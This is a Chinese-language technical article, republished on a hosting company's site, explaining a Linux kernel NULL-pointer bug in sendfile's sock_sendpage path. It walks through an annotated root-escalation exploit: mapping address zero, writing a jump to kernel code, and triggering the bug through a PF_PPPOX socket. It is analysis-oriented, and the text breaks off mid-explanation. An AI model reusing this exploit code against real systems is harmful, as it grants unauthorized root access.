快速业务通道

一个由sendfile引发的linux内核BUG

作者 佚名技术 来源 Linux系统 浏览 发布时间 2012-03-24

在论坛上看到一个讲linux内核BUG的帖子,利用这个BUG,一个普通用户能够在运行某个程序之后,获得root权限.

示例的代码如下:http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz
ubuntu 9.04 ,内核版本2.6.28 .12 的机器上测试通过.

那么,这究竟是怎样一个BUG 呢?这段代码又是怎样利用这个BUG 的呢?
在网上收集了一些信息,并阅读相关部分的内核代码后,整理如下:


内核的BUG

这个BUG 得从sendfile 系统调用说起.
考虑将一个本地文件通过socket 发送出去的问题.我们通常的做法是:打开文件fd 和一个socket ,然后循环地从文件fdread 数据,并将读取的数据sendsocket 中.这样,每次读写我们都需要两次系统调用,并且数据会被从内核拷贝到用户空间(read) ,再从用户空间拷贝到内核

Empire CMS,phome.net
(send) .而sendfile 就将整个发送过程封装在一个系统调用中,避免了多次系统调用,避免了数据在内核空间和用户空间之间的大量拷贝.

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);


虽然这个系统调用接收inout 两个fd ,但是有所限制,in 只能是普通文件,out 只能是socket (这个限制不知道后来的内核版本有没有放宽).

sendfile
系统调用在内核里面是怎么实现的呢?这个还是比较复杂,它在内核里面做了原来要在用户态做的事情:创建一个pipe 对象作buffer 用、从in_fd 中读数据到pipe 中、将pipe 中的数据写到out_fd 、循环直到满足结束条件.
关于写数据到out_fd 的过程,简要描述如下:
sys_sendfile =>
入口
do_sendfile =>
参数检查,其中会确定out_fd 对应的file 结构包含sendfile 方法(out_file->f_op->sendpage)
do_splice_direct =>
最终调用到out_file->f_op->splice_write ,而out_file 是个socket
Empire CMS,phome.net
,它的f_op->splice_write 等于generic_splice_sendpage
generic_splice_sendpage =>
最终调用到out_file->f_op->sendpage ,这个sendpage 等于sock_sendpage

sock_sendpage
的代码如下:

struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);


注意,BUG 出现了,调用sock->ops->sendpage 之前没有判断这个函数指针是否为NULL .
(
这里调用的sock->ops->sendpage 就是out_file->f_op->private_data->ops->sendpage ,out_file->f_op->private_data 指针指向的是一个struct socket 结构,这个fd 代表的是一个socket .)

但是,这里的sock->ops->sendpage 可能是NULL 吗?搜索内核代码可以发现,并不是每一种类型的socket 都会实现sendpage 这个函数.但是大多数没有实现这个函数的socket 都将这个函数指针设为sock_no_sendpage( 这基本上是一个例行公事的空函数) .但是,有少数类型的
Empire CMS,phome.net
socket 却没有设置sock->ops->sendpage( 没设置,则默认为NULL) ,如PF _PPPOXPF _BLUETOOTH 、等等.( 上面链接给出的代码就利用了PF _PPPOX ,后来我发现,用PF _BLUETOOTH 也能达到一样的效果,而换用PF_INET 之类的却不行.)


利用这个BUG

前面我们看到,内核在sendfile 系统调用中,没有判断sock->ops->sendpage 是否为空,就对它进行调用,并且sock->ops->sendpage 的确可能为空.

如果我们的程序中调用一个值为NULL 的函数指针,其结果会怎样?自然是程序崩溃,也仅仅就是崩溃而已.那么,这么个东西是怎么被利用,并实现窃取root 身份的呢?让我们逐步解读上面链接给出的代码.
主函数main()

char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid();
//
获取用户ID
Empire CMS,phome.net
,后面有用

gid = getgid();
// 获取用户组ID ,后面有用
setresuid(uid, uid, uid);
// 确保用户ID 被设置到进程中
setresgid(gid, gid, gid);
// 确保用户组ID 被设置到进程中
// 以下几句就狠了,它把01000 的地址做了映射,并且置可执行属性
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
perror("mprotect");
return -1;
}
}
// 以下几句更狠,在刚刚映射的0 地址上写下JMPkernel_code 的指令
*(char *)0 = ''/x90'';
// nop
Empire CMS,phome.net

*(char *)1 = ''/xe9'';
// jmp
*(unsigned long *)2 = (unsigned long)&kernel_code – 6;
// 这里是相对跳转,-6 就是减去当前地址的地址值
// 创建一个临时文件,用作源文件
if ((fdin = mkstemp(template)) < 0) {
perror("mkstemp");
return -1;
}
// 创建一个socket ,注意其类型为PF_PPPOX
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
// 下面重点就是sendfile
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);


经过前面的介绍,我们可以看到,这里的sendfile 将在系统调用中触发对0 地址的调用.然而,现在0 地址上已经被写下了JMPkernel_code 的指令.
这里的kernel_code 实际上是和这个
Empire CMS,phome.net

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号